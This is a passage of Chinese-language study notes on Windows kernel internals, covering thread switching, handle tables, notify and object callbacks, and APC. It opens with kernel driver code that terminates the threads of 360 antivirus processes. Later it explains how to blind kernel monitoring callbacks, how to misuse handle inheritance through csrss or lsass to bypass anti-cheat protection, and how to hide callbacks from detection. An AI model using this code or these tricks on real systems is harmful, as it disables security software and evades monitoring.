//PEPROCESS pEprocess = FindProcessByNameW(L"ntkrnlpa.exe");

//通过ssdt获取内核模块基地址
PVOID NtOpenProcessAddr = KeServiceDescriptorTable->ssdt.funcTable[0xbe];
//内核模块基地址
PVOID baseAddr = ((PUCHAR)NtOpenProcessAddr - 0x21FC8F);
g_PspTerminateThreadByPointer = ((PUCHAR)baseAddr + 0x25CB38);

//360相关进程表
int num = 0;
PProcessNameTable _360pList = (PProcessNameTable)ExAllocatePool(NonPagedPool, 0x1000);
wcscpy((_360pList[num++]).name, L"360Tray.exe");
wcscpy((_360pList[num++]).name, L"360leakfixer.exe");
wcscpy((_360pList[num++]).name, L"360Safe.exe");

//遍历进程
for (int i = 0; i < num; i++)
{

PEPROCESS pEprocess = FindProcessByNameW((_360pList[i]).name);
if (pEprocess != NULL)
{
//线程起始位置
PLIST_ENTRY pOriThreadNode = (PLIST_ENTRY)((PUCHAR)pEprocess + 0x188);

//遍历线程
for (PLIST_ENTRY pThreadNode = pOriThreadNode->Flink; pThreadNode != pOriThreadNode; pThreadNode = pThreadNode->Flink)
{
PETHREAD pEthread = ((PUCHAR)pThreadNode - 0x268);
//终结线程
g_PspTerminateThreadByPointer((PKTHREAD)pEthread, STATUS_SUCCESS, TRUE);
}
}
}

DbgPrintEx(77, 0, "[bc] done.\n");
ExFreePool(_360pList);
pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

就绪线程链表

接下来算是知识补充,补充的内容和接下来的线程切换机制相关;

每一个核(逻辑处理器,操作系统能看到的虚拟核)都有一个 KPCR结构对这个核进行描述;所以每一个核都有一个 KPRCB(一个子结构,是KPCR的字段);每个核都有32个就绪链表;

有个结构数组叫 KiProcessorBlock(内核全局指针数组),这个数组也存放了每个核的 KPRCB;

KPRCB中有一个字段是: DispatcherReadyListHead;这个是链表头;

它的结构大概是: _LIST_ENTRY [32],是对于 LIST_ENTRY 的数组,有32个,对应32个优先级;

KPRCB中另一字段: ReadySummary;这是一个位图,四字节数据,32个位代表了32个链表;位为1代表就绪链表中插入的有就绪线程;

一个内核API叫做: KiSelectReadyThread,主要是用到了KPRCB中的DispatcherReadyListHead字段,以及ReadySummary;

其功能是从指定处理器(核)选取优先级高的线程进行就绪链表的脱链操作,并返回对应的KTHREAD结构;

它的两个参数需求则是传入优先级(可选)和KPRCB;

线程切换

线程的切换是无时无刻不在发生的;

线程状态枚举体:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef enum _KTHREAD_STATE
{
Initialized, //线程创建的时候
Ready, //准备运行(一开始和切换后)
Running, //运行态
Standby, //备用状态 先准备 -> 再备用 -> 运行
Terminated, //死亡态
Waiting, //线程等待 WaitForSingleObject Sleep
Transition, //线程堆栈内存换出,换入,直接在磁盘上时
//(类似进程挂起)
DeferredReady, //延时就绪,不常出现
GateWaitObsolete, //门等待,不常出现
} KTHREAD_STATE, *PKTHREAD_STATE;

Windows中状态可以随时切换,切换时无顺序;

同时这个线程状态只是用于描述,比如运行态并不代表线程正在正确的eip和esp上执行,只有KTHREAD上的Running标志才能代表这种关系;

有两种切换方式,一种就是时间片到了,自动切出来;

一种就是内核API切换,而且可以说,内核70%的API使用过程中都会导致线程切换;

主动切换

下面解释的主要是第二种切换过程:

最底层的内核API是 KiSwap 系列函数,大部分API一路调用下去都会到这个函数去;

KiSwapThread决定了获取下一个要切换线程的优先级:

KPRCB.IdleThread(闲置线程) > KPRCB.NextThread > KiSelectReadyThread()

之后会进入 KiSwapContext,这个东西会做五个重要操作(当然它会保存必要的上下文等待下次恢复):一是更改对应KTHREAD结构的KernelStack以及Running,会涉及到老的线程结构和新的线程结构;一句话其实就切换了线程:KernelStack的修改;

当A线程的esp被更改为B的esp后,一路返回就能返回到B线程的业务代码处;当B再调用API进入KiSwapContext,如果选择的线程是A,那么esp又被修改成A的esp,一路经过栈返回,就会回到A的业务代码处;这就是线程切换的本质,即线程栈的切换;

当然,切换了线程栈还不够,二是还要判断是否是不同的进程,所以还要切换CR3(页表),那么即使一路返回到R3去,也能正常执行;

三是也会更改对应KPCR中的TSS中的ESP0为 KTHREAD中InitialStack 减去一个固定值的位置(每次线程切换都会更改,这个位置就是R3进R0的trapframe的位置处)

为什么要更改? A:TSS任务段是核相关的,切换线程需要改对应线程的SP值;

四是置空gs段寄存器;

五是根据TEB给fs赋新值;

被动切换

被动切换和时钟中断相关;

时钟中断函数在 ldt 表中,名字叫:HalpHpetClockInterrupt,位于Hal模块(硬件抽象层);

Hal模块有个特点,它有多套,根据CPU架构和平台,会选择不同的hal进行加载;

HalpHpetClockInterrupt这个函数的调用过程如下:

  • 时钟中断产生会调用这个函数HalpHpetClockInterrupt,这个函数首先会更新系统时间,使用内核模块的函数: KeUpdateSystemTineAssist;
  • KeUpdateSystemTineAssist(包装体) -> KeUpdateSystemTine(实际更新时间业务) -> KeUpdateRunTine -> 再调回hal模块的:HalRequestSoftwareInterrupt,它会实现一个软件中断(DPC的软中断,是一个模拟中断);
  • HalRequestSoftwareInterrupt -> KfLowerIrql(用于降低Irql等级) -> HalCheckForSoftwareInterrupt -> HalDispatchSoftwareInterrupt -> 再调用内核模块的 KiDispatchInterrupt(内核通用中断派发,基本上所有中断都会调用它);
  • KiDispatchInterrupt -> 会通过 KPCR 结构来判断时间片是否到来和用完,以调用 KiQuantumEnd,或者也会调用之前讲过的 KiSwapContext;两条路以实现线程切换;KiQuantumEnd内部依然会调用KiSwapContext;

时钟中断除了线程切换操作还会做以下的事情:

  • 刷新硬件的状态
  • 时间累加
  • 滴答数更新
  • DPC 回调派发
  • 定时器 回调派发
  • APC 派发
  • DR7检测,断点处理 / 双机调试,断点处理

全局句柄表

在EPROCESS结构里面有一个 ObjectTable,是个句柄表,这个表是 私有句柄表;

全局句柄表,只存两种对象,进程句柄和线程句柄,因为就进程和线程分别有 pid 和 tid;

全局句柄表的符号为: PspCidTable,这个符号指向一个地址,这个地址就是全局符号表地址,它和私有句柄表的结构是一样的,都是 _HANDLE_TABLE;

结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
4: kd> x nt!PspCidTable
83f9ad94 nt!PspCidTable = <no type information>
4: kd> dd 83f9ad94
83f9ad94 8da04008 00000000 80000020 00000101
83f9ada4 80000450 80000024 00000000 00000000
83f9adb4 00000000 00000000 00000000 00000113
83f9adc4 00000000 00000000 83f494be 00000000
83f9add4 00000000 00000000 00000000 00000008
83f9ade4 00000000 83f9ade8 83f9ade8 00000000
83f9adf4 00000000 00000000 00000000 00000000
83f9ae04 00000000 807c8c28 807c4c28 00000000
4: kd> dt _HANDLE_TABLE 8da04008
ntdll!_HANDLE_TABLE
+0x000 TableCode : 0x9cca8001 //一个表,低2位表示层数,Windows只用了3层
+0x004 QuotaProcess : (null) //如果是私有句柄表,指向进程对象(要去掉一个尾数)
+0x008 UniqueProcessId : (null) //pid(和上一个都是生父)
+0x00c HandleLock : _EX_PUSH_LOCK //结构锁
+0x010 HandleTableList : _LIST_ENTRY [ 0x8da04018 - 0x8da04018 ] //句柄表链表,全局就一张,所以为空,私有句柄建议断链处理
+0x018 HandleContentionEvent : _EX_PUSH_LOCK
+0x01c DebugInfo : (null)
+0x020 ExtraInfoPages : 0n0
+0x024 Flags : 1
+0x024 StrictFIFO : 0y1
+0x028 FirstFreeHandle : 0xc6c //当前释放的句柄
+0x02c LastFreeHandleEntry : 0x9cca7240 _HANDLE_TABLE_ENTRY //最后一次释放的句柄
+0x030 HandleCount : 0x393 //句柄表中有多少个句柄(并不精确)
+0x034 NextHandleNeedingPool : 0x1000
+0x038 HandleCountHighWatermark : 0x393

TableCode

如果低2位为00,那么这就是一个指针,指向一个页(一张表,数组),表里存放了句柄;

一个句柄项占8字节,高4位放句柄属性,低4位放句柄对象,句柄项结构如下:

1
2
3
4
5
6
7
8
9
10
4: kd> dt _HANDLE_TABLE_ENTRY
ntdll!_HANDLE_TABLE_ENTRY
+0x000 Object : Ptr32 Void
+0x000 ObAttributes : Uint4B
+0x000 InfoTable : Ptr32 _HANDLE_TABLE_ENTRY_INFO
+0x000 Value : Uint4B
+0x004 GrantedAccess : Uint4B
+0x004 GrantedAccessIndex : Uint2B
+0x006 CreatorBackTraceIndex : Uint2B
+0x004 NextFreeTableEntry : Uint4B

所以低2位为00,那么最多能存 4096 / 8 = 512 个句柄;

低2位为01,那么最多能存 (4096 / 4)* 512 = 512K 个句柄;(多一层,类似页表寻址多一层)

以此类推;

如何通过pid查找对应进程句柄呢? pid之前说过是以4对齐的,所以 pid / 4 = 句柄索引;

根据句柄表这个 大数组[句柄索引] ,就得到了句柄项位置;

拿到的句柄对象,需要与上7取反(去掉尾数,去掉低3位),才是真实的句柄对象地址,是ETHREAD或EPROCESS结构;(私有句柄表里面就不止这两种类型了)

需要说明的是,HANDLE类型,句柄,都是指这种数,pid就是一个句柄;

如何区分拿到的对象是一个进程还是一个线程呢,就要用到”对象头“字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
4: kd> dt _OBJECT_HEADER 96307440-0x18
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n4 //引用计数
+0x004 HandleCount : 0n3
+0x004 NextToFree : 0x00000003 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x8 '' //对象类型索引
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0x2 ''
+0x010 ObjectCreateInfo : 0x83f8e3c0 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x83f8e3c0 Void
+0x014 SecurityDescriptor : 0x9ccae45d Void
+0x018 Body : _QUAD

使用对象地址-0x18就是 _OBJECT_HEADER 结构体,并不是TCB和PCB中的+0x000 Header : _DISPATCHER_HEADER字段;

64位系统是-0x30;

其中最重要的字段是对象类型索引,他决定了这个对象是个ETHREAD还是EPROCESS;

要用到一个新的结构:ObTypeIndexTable,对象类型索引表;

是个数组,表项4字节,每个表项的类型是_OBJECT_TYPE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
4: kd> x nt!ObTypeIndexTable
83f9c760 nt!ObTypeIndexTable = <no type information>
4: kd> dd 83f9c760
83f9c760 00000000 bad0b0b0 86a4e660 86a4e598
83f9c770 86a4e4d0 86aefe88 86aefd48 86aefc80
83f9c780 86aefbb8 86aefaf0 86aefa28 86aef350
83f9c790 86b2d8b8 86b2d7f0 86b199c8 86b19900
83f9c7a0 86b19838 86afdf78 86afdeb0 86afdde8
83f9c7b0 86afdd20 86afdc58 86afdb90 86afdac8
83f9c7c0 86afda00 86afd938 86afd870 86afd7a8
83f9c7d0 86afd6e0 86afd340 86b51ca0 86b51bd8
4: kd> dt _OBJECT_TYPE 86aefbb8
ntdll!_OBJECT_TYPE
+0x000 TypeList : _LIST_ENTRY [ 0x86aefbb8 - 0x86aefbb8 ]
+0x008 Name : _UNICODE_STRING "Thread"
+0x010 DefaultObject : (null)
+0x014 Index : 0x8 ''
+0x018 TotalNumberOfObjects : 0x362
+0x01c TotalNumberOfHandles : 0x637
+0x020 HighWaterNumberOfObjects : 0x362
+0x024 HighWaterNumberOfHandles : 0x637
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x65726854
+0x080 CallbackList : _LIST_ENTRY [ 0x86aefc38 - 0x86aefc38 ]

在表项类型中就指明了是线程还是进程;

ObTypeIndexTable结构不是导出的,但是可以在内核模块中搜索它的字符串符号,来找到对应导出函数的引用地方,通过导出函数获取它的地址;

x64补充

第一个变化,在64位下,全局句柄表膨胀了,目录项变成了8字节,句柄表项变成了16字节,高8为属性,低8为对象地址;

第二个变化,主要是win10以后,原来是句柄项的地方被加密了,表项还是占16字节,低8位是加密后的对象地址;

加密内容 算术右移 16 位,得到原本的对象地址;其实也不算加密,我猜设计是,可能后2字节是某种新增的属性,高2字节默认为FFFF,于是省2字节空间放其他的;

私有句柄表

只有进程中才有句柄表的概念,线程中没有,也就是上面说到的 EPROCESS 中的 ObjectTable;

私有句柄表对应全局句柄表的结构不太一样,但很类似;

私有句柄表的利用,主要体现在不越权进行对抗的姿势和工具(R3下),理解结构很有好处;

第一,在私有进程中使用 OpenProcess 打开一个句柄后,得到的句柄也要除4(4对齐)才是 TableCode 的索引值;

第二,在存放对象地址的地方,不再是直接指向对象,而是指向对象头,也就是拿到对象地址后,要加上0x18,才是实际的对象结构体;

第三,三个尾数属性(之前说过,对象拿到要去除低3位):

  • 0号最低位,对于有效句柄来说都是1;
  • 1号位,是继承位(关系到父进程创建子进程的私有句柄表复制),为1,这个句柄项可被复制,否则不可被继承;
    这个继承位有个姿势,比如游戏被OB回调保护,但是csrss和lsass这种系统进程是白名单,可以通过注入白名单进程,执行OpenProcess并设置继承位为1;
    再CreateProcess我们自己的进程,选择句柄继承;这个时候创建的我们的进程就自带游戏进程句柄,而且是正常权限;
  • 2号位,如果为1,那么CloseHandle关不掉;

第四,权限属性掩码(高位)(PROCESS_ALL_ACCESS宏等的权限掩码)

系统回调

全局回调,它主要的作用是监视,分别是 模块,进程,线程监视,在 sys,dll,进程,线程创建和销毁以及附加,复制时,就会触发对应的回调;

主要就三种回调,线程,进程,模块(它们的实际名称应该叫做通知回调);

这里我们就把(系统回调)定义为全局线程,进程,模块回调;

注册回调的API:

1
2
3
4
5
6
7
8
9
10
11
12
13
//添加
PsSetCreateProcessNotifyRoutine();
PsSetCreateProcessNotifyRoutineEx();

PsSetCreateThreadNotifyRoutine();
PsSetCreateThreadNotifyRoutineEx();

PsSetLoadImageNotifyRoutine();
PsSetLoadImageNotifyRoutineEx();

//移除
PsRemoveLoadImageNotifyRoutine();
PsRemoveCreateThreadNotifyRoutine();

进程通过第一个API的参数设置移除或是创建,另外两个分别有创建和移除的API;

在规定的回调参数会给到进程,线程,模块创建时的一些信息,比如进程会给到,哪个pid创建了哪个pid(父子进程的pid都显示,等等信息),如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//进程回调函数定义
VOID PcreateProcessNotifyRoutineEx(
[_Inout_] PEPROCESS Process, //被创建进程的结构
[in] HANDLE ProcessId, //被创建进程的pid
[in, out, optional] PPS_CREATE_NOTIFY_INFO CreateInfo //额外信息,如果是销毁,那么这个字段为0
)

//额外信息结构
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId; //父进程pid
CLIENT_ID CreatingThreadId; //新进程和新线程的 cid
struct _FILE_OBJECT *FileObject; //文件对象指针
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine; //命令行参数
NTSTATUS CreationStatus; //可以进行拒绝创建的一个标记字段
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

需要强调的是,这些注册的系统回调,是在每次发生事件时,按一定的顺序,挨个执行,参数传递;
[_Inout_] ,[in, out, optional],都是会影响到下一个回调函数的,不可信;
谁先注册,谁在前面执行,没有优先级(区别于后面会说到的对象回调);

线程回调只有2个有用信息的参数,一个是创建线程的pid,一个是线程本身的tid;

模块添加是用的更为多的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//模块回调
VOID PloadImageNotifyRoutine(
[in, optional] PUNICODE_STRING FullImageName, //模块全路径
[in] HANDLE ProcessId, //所有加载sys的pid不是0就是4
[in] PIMAGE_INFO ImageInfo
)

//额外信息结构
typedef struct _IMAGE_INFO {
union {
ULONG Properties;
struct {
ULONG ImageAddressingMode : 8;
ULONG SystemModeImage : 1; //这个位可以判断是sys还是dll
ULONG ImageMappedToAllPids : 1;
ULONG ExtendedInfoPresent : 1;
ULONG MachineTypeMismatch : 1;
ULONG ImageSignatureLevel : 4;
ULONG ImageSignatureType : 3;
ULONG ImagePartialMap : 1;
ULONG Reserved : 12;
};
};
PVOID ImageBase;
ULONG ImageSelector;
SIZE_T ImageSize;
ULONG ImageSectionNumber;
} IMAGE_INFO, *PIMAGE_INFO;

通过LoadImage可以做很多事情;

逆向分析

PsSetLoadImageNotifyRoutine :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
NTSTATUS __stdcall PsSetLoadImageNotifyRoutine(PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine)
{
unsigned int i; // edi
_EX_CALLBACK_ROUTINE_BLOCK *callback_struct; // ebx
_DWORD *callBackSlot; // esi

i = 0;
callback_struct = ExAllocateCallBack((int (__stdcall *)(void *, void *, void *))NotifyRoutine, nullptr);
if ( !callback_struct )
return 0xC000009A;
callBackSlot = &PspLoadImageNotifyRoutine; // ExCompareExchangeCallBack(callbackStruct,callbackSlot,0)
while ( !(unsigned __int8)((_DWORD (__stdcall *)(_DWORD))ExCompareExchangeCallBack)(0) )
{
i += 4;
++callBackSlot;
if ( i >= 256 ) // 循环了64次
{
ExFreeCallBack(callback_struct);
return 0xC000009A;
}
}
_InterlockedExchangeAdd(PspLoadImageNotifyRoutineCount, 1u);
if ( (PspNotifyEnableMask & 1) == 0 )
_interlockedbittestandset(&PspNotifyEnableMask, 0);
return 0;
}

//补充结构体:
struct _EX_CALLBACK_ROUTINE_BLOCK
{
unsigned int RefCount;
int (__stdcall *Function)(void *, void *, void *);
void *Param1;
};

PspLoadImageNotifyRoutine 是个 _EX_CALLBACK_ROUTINE_BLOCK 类型的指针数组,总共只有64个。每个注册的对应的系统回调都会放到这个数组里,所以每个类型的系统回调最多只有64个,win10,win11也不例外;

一开始会根据回调地址创建一个结构体,数组主要是存结构体,结构体会存引用计数,函数地址,以及参数;

这里的参数是被设置为了0;然后就开始循环,找这个数组中空置的位置(第三个参数为0),然后进行插入(补充细节:插入的就是callback_struct,但是这个地址是8字节对齐的,所以低三位始终为0,实际使用中这三位会存一些东西,真实地址需要从这个数组中取出结构地址并抹除低三位,才是真正的结构体地址);

对 PspLoadImageNotifyRoutine 按x进行交叉引用,能找到除了set和remove以及init,还有一个函数会引用它: PsCallImageNotifyRoutines:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$FEBD7BAEB778C93D381568F4D0F5E13D *__userpurge PsCallImageNotifyRoutines@<eax>(
_DWORD *a1@<eax>,
int a2,
int a3,
int a4)
{
_KTHREAD *CurrentThread; // esi
_DWORD *v5; // edi
struct _EX_RUNDOWN_REF *v6; // ebx
void (__stdcall *function)(int, int, int); // eax
$FEBD7BAEB778C93D381568F4D0F5E13D *result; // eax
int v9; // [esp-Ch] [ebp-20h]
int v10; // [esp-8h] [ebp-1Ch]
int v11; // [esp-4h] [ebp-18h]
int index; // [esp+10h] [ebp-4h]
_DWORD *callbackStructPtr; // [esp+24h] [ebp+10h]

CurrentThread = KeGetCurrentThread();
--CurrentThread->KernelApcDisable;
if ( (PspNotifyEnableMask & 1) != 0 )
{
v5 = a1 + 1;
a1[1] |= 0x400u;
*a1 = 28;
a1[6] = a4;
callbackStructPtr = &PspLoadImageNotifyRoutine;
index = 64;
do
{
v6 = ExReferenceCallBackBlock(callbackStructPtr);
if ( v6 )
{
function = (void (__stdcall *)(int, int, int))ExGetCallBackBlockRoutine(a2, a3, v5);
function(v9, v10, v11); // 执行回调函数
ExDereferenceCallBackBlock(v6);
}
++callbackStructPtr;
--index;
}
while ( index );
}
result = ($FEBD7BAEB778C93D381568F4D0F5E13D *)(unsigned __int16)++CurrentThread->KernelApcDisable;
if ( !(_WORD)result )
{
result = &CurrentThread->___u12;
if ( ($FEBD7BAEB778C93D381568F4D0F5E13D *)result->ApcState.ApcListHead[0].Flink != result
&& !CurrentThread->SpecialApcDisable )
{
return ($FEBD7BAEB778C93D381568F4D0F5E13D *)KiCheckForKernelApcDelivery();
}
}
return result;
}

它会进行回调函数的执行,按照数组索引遍历执行(所以说谁先注册,谁先执行),v9, v10, v11来自于栈上,存的就是下面三个参数:

1
2
3
[in, optional] PUNICODE_STRING FullImageName,                            //模块全路径
[in] HANDLE ProcessId, //所有加载sys的pid不是0就是4
[in] PIMAGE_INFO ImageInfo

所以说64个回调调用的参数都是一样的,但是先执行的回调函数可以修改指针指向的结构体的字段,以欺骗后续函数;

第二,需要满足 PspNotifyEnableMask 最低位为1,才会对64个回调展开调用,否则跳过不执行回调;

这个掩码就在 PspLoadImageNotifyRoutine 数组 -0x8 的位置,它们都是内核模块的全局变量;

所以我们可以在进行一些希望不被监控的操作的时候手动置位PspNotifyEnableMask最低位为0;当操作完成后给它恢复就行了;

线程和进程的全局回调利用思路和加载模块回调是一样的;

对象回调

这个就是 OB 回调,请和系统回调做区分,它们是两套完全不同的回调机制;

之前我们提到过一个结构体 _OBJECT_TYPE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
4: kd> dt _OBJECT_TYPE 86aefbb8
ntdll!_OBJECT_TYPE
+0x000 TypeList : _LIST_ENTRY [ 0x86aefbb8 - 0x86aefbb8 ]
+0x008 Name : _UNICODE_STRING "Thread"
+0x010 DefaultObject : (null)
+0x014 Index : 0x8 ''
+0x018 TotalNumberOfObjects : 0x362
+0x01c TotalNumberOfHandles : 0x637
+0x020 HighWaterNumberOfObjects : 0x362
+0x024 HighWaterNumberOfHandles : 0x637
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x65726854
+0x080 CallbackList : _LIST_ENTRY [ 0x86aefc38 - 0x86aefc38 ]

这个就是对象类型结构体,Windows的对象是很多的,比如进程,线程,事件,等等都能是对象;

比如 EPROCESS, ETHREAD, _DRIVER_OBJECT,都是对象,它们前面都有一个对象头;

这些对象类型可以通过一个数组+索引号找到,之前我们已经说过了;

在一种对象类型中,可以设置对应的回调,这些回调存在 +0x080 CallbackList 链表上,每当对这种对象类型的句柄产生操作时,便会发生对应对象类型的回调函数的执行;

别人做检测时,尤其是力度更大的检测,会遍历这个回调链表,找到是哪个驱动注册的回调,看这个驱动是否签名正常,或是看这个回调地址是否属于本体驱动,以判断这个回调有没有问题;

所以可以注入其他驱动模块(null.sys),在合法的模块里面注册,然后设置跳板,跳转到业务逻辑处理的地方,避免入口检测;

在执行回调函数时,首先会执行 +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER里的初始化回调,这里面的回调是最先被执行的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0: kd> dt _OBJECT_TYPE_INITIALIZER 86aeebb8+0x28 
ntdll!_OBJECT_TYPE_INITIALIZER
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0x4a 'J'
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y1
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y1
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y1
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 4
+0x008 InvalidAttributes : 0xb0
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0x1fffff //对象类型全局权限掩码,最终权限与操作
+0x020 RetainAccess : 0x100800
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x2e8
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : 0x840b3997 long nt!PspThreadOpen+0 //最先执行的打开回调
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : 0x840b5fe8 void nt!PspThreadDelete+0
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x840b1d90 long nt!SeDefaultObjectMethod+0
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)

其中有个字段很重要:+0x002 SupportsObjectCallbacks,如果是1,代表初始化结束后会去执行回调链表中的一系列回调函数,如果是0,则不会执行,它的效果和 PspNotifyEnableMask,是一样的,可以屏蔽监控;

对象和句柄的关系其实很接近,句柄就相当于一个数组索引,通过这个数组就能找到对应的 对象地址 + 权限掩码;

对象地址一般会对应一个对象头,对象头内部的对象类型字段就对应了ObTypeIndexTable数组的索引值,这个数组就是我们说的专门存对象类型的数组,所以对象会对应到一种对象类型,也就会对应相应的回调函数;

所以操作句柄时,会触发相应的对象回调,以上便是句柄 <-> 对象的关系;

还有一种反调试机制是通过设置 调试对象 类型的 ValidAccessMask 为 0,那么调试对象对应的句柄权限就都没有了;

对应的,对象回调在 windows API 有对应的注册函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
NTSTATUS ObRegisterCallbacks(
[in] POB_CALLBACK_REGISTRATION CallbackRegistration, //回调注册信息
[out] PVOID *RegistrationHandle //返回的一个注册符号,用于卸载
);

//补充结构体信息
typedef struct _OB_CALLBACK_REGISTRATION {
USHORT Version; //使用ObGetFilterVersion()获取
USHORT OperationRegistrationCount; //要挂多少组OB回调,第五个参数数组的i
UNICODE_STRING Altitude; //海拔,优先级,数字低的优先级更大
PVOID RegistrationContext; //自定义参数结构,传递给回调函数
OB_OPERATION_REGISTRATION *OperationRegistration; //回调函数数组
} OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION;

typedef struct _OB_OPERATION_REGISTRATION {
POBJECT_TYPE *ObjectType; //对象类型
OB_OPERATION Operations; //对句柄复制还是创建的时候执行,可以一起
POB_PRE_OPERATION_CALLBACK PreOperation; //预先回调
POB_POST_OPERATION_CALLBACK PostOperation; //后回调,它没有过滤效果,只是日志通知
} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION;

//两个回调函数
OB_PREOP_CALLBACK_STATUS PobPreOperationCallback(
[in] PVOID RegistrationContext,
[in] POB_PRE_OPERATION_INFORMATION OperationInformation
);

VOID PobPostOperationCallback(
[in] PVOID RegistrationContext,
[in] POB_POST_OPERATION_INFORMATION OperationInformation
);

//回调参数结构
typedef struct _OB_POST_OPERATION_INFORMATION {
OB_OPERATION Operation; //对句柄复制还是创建的时候执行
union {
ULONG Flags;
struct {
ULONG KernelHandle : 1; //是内核还是用户 执行的创建/复制函数
ULONG Reserved : 31;
};
};
PVOID Object; //目标对象
POBJECT_TYPE ObjectType; //目标对象类型
PVOID CallContext;
NTSTATUS ReturnStatus; //PRE就没这个字段,其他都一样
POB_POST_OPERATION_PARAMETERS Parameters;
} OB_POST_OPERATION_INFORMATION, *POB_POST_OPERATION_INFORMATION;

//Parameters结构
typedef union _OB_PRE_OPERATION_PARAMETERS {
OB_PRE_CREATE_HANDLE_INFORMATION CreateHandleInformation; //这些结构中主要是权限掩码的设置
OB_PRE_DUPLICATE_HANDLE_INFORMATION DuplicateHandleInformation;
} OB_PRE_OPERATION_PARAMETERS, *POB_PRE_OPERATION_PARAMETERS;

typedef union _OB_POST_OPERATION_PARAMETERS {
OB_POST_CREATE_HANDLE_INFORMATION CreateHandleInformation; //POST的掩码主要是上报日志,改了没用
OB_POST_DUPLICATE_HANDLE_INFORMATION DuplicateHandleInformation;
} OB_POST_OPERATION_PARAMETERS, *POB_POST_OPERATION_PARAMETERS;

在回调函数内,一般会判断是谁打开/复制了谁:

1
2
3
4
//使用这个函数获取执行动作的模块
IoGetCurrentProcess();
//通过pre函数中的参数:[in] POB_PRE_OPERATION_INFORMATION OperationInformation 获取被操作的模块
OperationInformation->Object;

以方便过滤操作;

从对象类型的字段: +0x080 CallbackList : _LIST_ENTRY [ 0x86aefc38 - 0x86aefc38 ]中取出来的链表节点结构不是上面导出可见的任何一个结构,而是如下的一个结构(字段基本都类似,结构重组了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
00000000 _OB_HANDLE struc ; (sizeof=0x34)
00000000 Version dw ?
00000002 OperationRegistrationCount dw ?
00000004 RegistrationContext dd ?
00000008 Altitude UNICODE_STRING ?

00000010 list LIST_ENTRY ? //链表节点,对象类型处的链表
00000018 Operations dd ?
0000001C flags dd ?
00000020 self dd ? //指向自己的指针
00000024 OBJECT_TYPE dd ?
00000028 PreOperation dd ?
0000002C PostOperation dd ?
00000030 unknow dd ?

/* //如果OperationRegistrationCount
00000034 list LIST_ENTRY ? //大于1,那么就会在下面跟着这样的内容
0000003C Operations dd ? //属于下一块的信息
00000040 flags dd ?
00000044 self dd ?
00000048 OBJECT_TYPE dd ?
0000004C PreOperation dd ?
00000050 PostOperation dd ?
00000054 unknow dd ?
*/

00000034 OB_HANDLE ends

插入时,会按照海拔进行排序;具体字段,不同版本可能有差异,通过 ObRegisterCallbacks确定;

APC

是个和线程相关的机制,全称是异步过程调用,APC实际上就是一个函数;

APC主要的作用是用来做异步通知的,它被动态地插入一个线程的APC队列,在某个时刻异步地调用一次;它可被动态地从队列中卸载;

没有APC机制,有些操作就会很伤脑筋,比如线程回收,线程IO结束等待等等;所以APC机制是必须的,关闭这个机制,Windows系统过一会儿会死掉;

了解它之前先了解windows自带的关于 APC 相关的 API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//初始化函数,主要是根据一系列结构和字段给KAPC结构赋值,并添加到KTHREAD上的一个字段中去
